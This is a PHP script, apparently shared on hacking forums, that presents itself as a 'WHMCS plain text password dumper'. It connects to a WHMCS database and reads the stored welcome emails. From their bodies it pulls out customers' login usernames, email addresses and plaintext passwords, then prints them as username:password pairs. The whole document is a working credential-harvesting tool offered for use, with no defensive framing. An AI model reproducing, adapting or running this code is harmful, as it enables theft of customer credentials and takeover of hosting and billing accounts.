WHMCS plain text users dumper

<?php
//WHMCS plain text password Dumper
//Coded By Karar & i-Hmx
//sec4ever.com , 1337s.cc , alm3refh.com
//some pastes http://pastebin.com/u/i-Hmx
$db_username = "user";
$db_password = "pass";
$db_name = "db";
set_time_limit (0);
function get_string_between($string, $start, $end){
        $string = " ".$string;
        $ini = strpos($string,$start);
        if ($ini == 0) return "";
        $ini += strlen($start);
        $len = strpos($string,$end,$ini) - $ini;
        return substr($string,$ini,$len);
    }

mysql_pconnect("localhost",$db_username,$db_password);
@mysql_select_db($db_name) or die ("Unable to select database");
$query="select subject,message from tblemails";
$result=mysql_query($query);
mysql_close();
/*Display Results*/
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$css =mysql_result($result,$i,"subject");

if (stristr($css,"Welcome")){
$s =mysql_result($result,$i,"message");
if(stristr($s,"Login Username: ") or stristr($s,"Email Address: ")){
$mail= get_string_between($s,"Login Username: ","<br />");
$m2 = get_string_between($s,"Email Address: ","<br />");
$pass = get_string_between($s,"Password: ","</p>");
print $mail.$m2.":".$pass."<br>";
}

}
++$i;
}
print "<br><br> Done!";
?>